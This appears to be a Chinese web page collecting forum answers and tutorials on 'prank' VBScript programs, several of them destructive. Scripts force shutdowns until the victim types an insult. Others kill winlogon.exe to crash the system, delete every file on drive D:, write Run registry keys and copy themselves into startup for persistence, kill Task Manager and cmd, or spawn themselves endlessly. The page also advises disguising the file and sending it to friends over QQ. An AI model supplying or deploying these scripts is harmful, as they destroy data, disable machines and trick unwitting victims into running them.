a杨小羊b 的代码精简版
vbs恶搞编程代码_vbs有趣代码
set ws = createobject("wscript.shell")
ws.run "shutdown -r -t 60 -c ""说我是只猪,不说就一分钟关你机,不信,试试···"" ",0
do while(a <> "我是只猪")
a = inputbox ("说我是只猪,就不关机,速度,说 ""我是只猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈你是只猪"
ws.run "shutdown -a",0
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈"
' 关机的破解的方法:shutdown -a,只要还的延时就能解除关机。
' 结束wscript.exe进程就能结束所有的vbs
大量的楼上已经说了。这个是本人原创,亲测有用。毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】
大量的楼上已经说了。这个是本人原创,亲测有用。毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】
set sh=createobject("wscript.shell")
msgbox "你是否经常失眠?",vbyesno
msgbox "我也经常失眠。唉。"
msgbox "我告诉你一个祖传秘方吧!"
for i=1 to 50
sh.popup i & "只羊",1
next
wscript.sleep 1000
sh.popup "好吧,晚安!",5
do
sh.run "shutdown -s -f -t 30"
msgbox "再见~"
loop
这个自动打字:很吓人的
dim sh,str,a,i
set sh=createobject("wscript.shell")
sh.run "notepad" '打开记事本
do while sh.appactivate("无标题 - 记事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!" '这一行是演示中文输入。定义要打字的字符串。只能是英文或数字或符号。
'如果想输入中文请把下2行的注释去掉。否则就在前面加上注释符号“'”(不带引号)
'并在str中输入按键的过程如:想输入“气死我了”就写 qisiwole1
sh.sendkeys "^ "
'解释上一行:呼唤中文输入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '发送虚拟按键
wscript.sleep 500 '打字速度。数值越小越快。
next
save=1 '如想保存则写1
if save=1 then
sh.sendkeys "^ "
'解释上一行:关闭中文输入法。如果是中文,则必须去掉上一行的注释。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可写路径),必须是英文。如果是中文模式,则必须将其关闭
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
这个立刻蓝屏:
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
Set ws=CreateObject("WScript.Shell")
set fs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfile thn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任务管理器")=true then
ws.run "taskkill /f /im Taskmgr.exe"
end if
if ws.appactivate("命令提示符")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系统关机")=false then
ws.run "shutdown -s -f -t 30"
end if
loop
这个会出现一堆窗口:
Set sh=CreateObject("WScript.Shell")
dim i,s,z,thn
z=array(4,5,16,32,48,64)
i=0
s=1
do
do while i
i=i+1
sh.run wscript.scriptfullname
loop
s=s+1
i=0
randomize
wscript.sleep int(rnd()*100)
msgbox "程序发生未知的错误!",z(int((6-1)*rnd()+1)),"Error?@#%^&)TGDZX%#@C889"
thn=wscript.scriptfullname
sh.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\system23",thn
loop
这个五秒内死机,十秒内鼠标不能动!
do
createobject("wscript.shell").run wscript.scriptfullname
loop
1.
do
msgbox"系统错误"
loop
2.整人,比人家说他自己是猪,不然关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,还不嗨皮"
msgbox chr(13) + chr(13) + chr(13) +"傻逼"
msgbox chr(13) + chr(13) + chr(13) +"和傻逼一样的"
msgbox chr(13) + chr(13) + chr(13) +"你是傻逼,"
msgbox chr(13) + chr(13) + chr(13) +"好嗨哦"
msgbox chr(13) + chr(13) + chr(13) +"你是傻逼是大傻逼"
msgbox chr(13) + chr(13) + chr(13) +"想关掉吗"
msgbox chr(13) + chr(13) + chr(13) +"那你还要点20下喔"
msgbox chr(13) + chr(13) + chr(13) +"20"
msgbox chr(13) + chr(13) + chr(13) +"19"
msgbox chr(13) + chr(13) + chr(13) +"18"
msgbox chr(13) + chr(13) + chr(13) +"17"
msgbox chr(13) + chr(13) + chr(13) +"16"
msgbox chr(13) + chr(13) + chr(13) +"15"
msgbox chr(13) + chr(13) + chr(13) +"14"
msgbox chr(13) + chr(13) + chr(13) +"13"
msgbox chr(13) + chr(13) + chr(13) +"12"
msgbox chr(13) + chr(13) + chr(13) +"10"
msgbox chr(13) + chr(13) + chr(13) +"9"
msgbox chr(13) + chr(13) + chr(13) +"8"
msgbox chr(13) + chr(13) + chr(13) +"7"
msgbox chr(13) + chr(13) + chr(13) +"6"
msgbox chr(13) + chr(13) + chr(13) +"5"
msgbox chr(13) + chr(13) + chr(13) +"4"
msgbox chr(13) + chr(13) + chr(13) +"3"
msgbox chr(13) + chr(13) + chr(13) +"2"
msgbox chr(13) + chr(13) + chr(13) +"1"
do
msgbox"我又不想让你关掉了"
loop
1.直接关机行么?
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
2.删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
3.不断弹出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop
4.不断按下alt+f4 (开什么都关闭……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
VBScript恶搞脚本文件
整人级:关不掉的框
Do
MsgBox"你关不掉我,哈哈!"
Loop
中等级:立即关机
Set w = CreateObject("Wscript.Shell")
w.Run "Shutdown.exe /f /s /t 00"
破坏级:一开机就关机,请慎用!!!
Set w = CreateObject("Wscript.Shell")
w.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Wacript","C:\Wscript.VBS" ' C:\Wscript.VBS 是你程序的路径及文件名
w.Run "Shutdown.exe /f /s /t 00"
只是恶搞样本
VBS可以用来编写一些整人的小程序,那么如何编写呢?下面我就给大家分享一下。
01
我们首先在桌面上创建一个VBS的文件,如下图所示,注意VBS文件双击的话是直接运行的
02
然后我们用Sublime打开vbs程序文件,在里面借助loop循环来不断的输出msgbox,如下图所示
03
接下来我们双击vbs程序文件,运行上面编写的整人程序,你会看到如下图所示的弹窗效果,我们点击确定以后会不断的弹窗
04
最后如果你想关闭这个整人的程序只能通过在任务管理器里面右键结束任务进行关闭了,如下图所示
vbs恶搞代码谢谢了,大神帮忙啊
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我爱你,不说我爱你就一分钟关你机,不信,试试···"" ",0 ,true dim a do while(a <> "我爱你") a = inputbox ("说我爱你,就不关机,快撒,说 ""我爱你"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox "虽然你爱我。。我还是要关你机。因为你太听话啦" 再一个: do msgbox "哈哈,你中毒了,关闭我也没用。" loop
难得能用一次电脑。。。。在笔记本上写好后在电脑上打出来了。。。
Dim a(4),b,c,fso,file,startup
Set fso = createobject("scripting.filesystemobject")
Set file = fso.getfile(wscript.scriptfullname)
set wshshell = createobject ("wscript.shell")
startup = wshshell.specialfolders("startup")&"\"
file.copy startup 这里是把这个vbs自身复制到启动项的
wshshell.run "cmd.exe /c shutdown -s -f -t 60 -c 不说就关机!!!"
randomize
a(0) = "猪"
a(1) = "笨蛋"
a(2) = "傻叉"
a(3) = "坏人"
b = Round(rnd*3 + 0) 生成一个0到3的随机数作为b的值
c = inputbox("快说“我是"&a(b)&"”,不然就马上关机哦!","快说","",0,0)
If b <> "" then 这句不能少,用来固定b的值,少了之后在下面会出现不同的值
If c = "我是"&a(b) Then
wshshell.run "cmd.exe /c shutdown -a"
msgbox "你这"&a(b)
Else
wshshell.run "cmd.exe /c shutdown -a"
wscript.sleep 1000
wshshell.run "cmd.exe /c shutdown -s -f -t 0"
End If
Else
End if
其他的不难懂。。。
VB经常被用来编写一些整人的脚本程序,那么如何编写这类的程序呢?下面我给大家展示一下。
工具/材料
Sublime Text
01
首先来看第一个脚本,这个脚本会每隔1秒就弹出一个窗口,并且你都关不掉,如下图所示
02
然后第二个脚本是不断的循环一段内容,如下图所示,它和第一个一样,也不能关闭弹窗
03
接下来这个脚本每一次循环会展示4个弹窗,每个弹窗的内容不一样,每个弹窗的弹出间隔为1秒,如下图所示
04
最后一个脚本是带交互功能的,被整的人只有输入指定的内容才能关闭脚本,否则脚本会一直循环弹出,如下图所示
恶搞程序代码
代码如下,复制到记事本,将txt改为vbs就ok了,中间的字可自己改。
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉!!"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
加分哦
vbs整人程序大全:
我们开始制作.在桌面建立个记事本,然后把下面代码复制进去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵,猪"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序,这样你再压缩下用QQ发给你朋友,对方打
开了就在60秒内要关闭计算机,
结素任务都不行,他只能说他是猪才能解决问题。够坏吧? 注意哦,你可以把我是猪那个修改成任
意想说的话,要是对付你喜欢的人,
就修改成 我爱你 这样他只有说我爱你之后才不关闭计算机哦 也可以把时间修改为20 就是说打
开了20秒就关了,还没等对方打完就关机了 是不是叫对方很郁闷呢?
do
createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)
loop
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至836084111@qq.com 举报,一经查实,本站将立刻删除。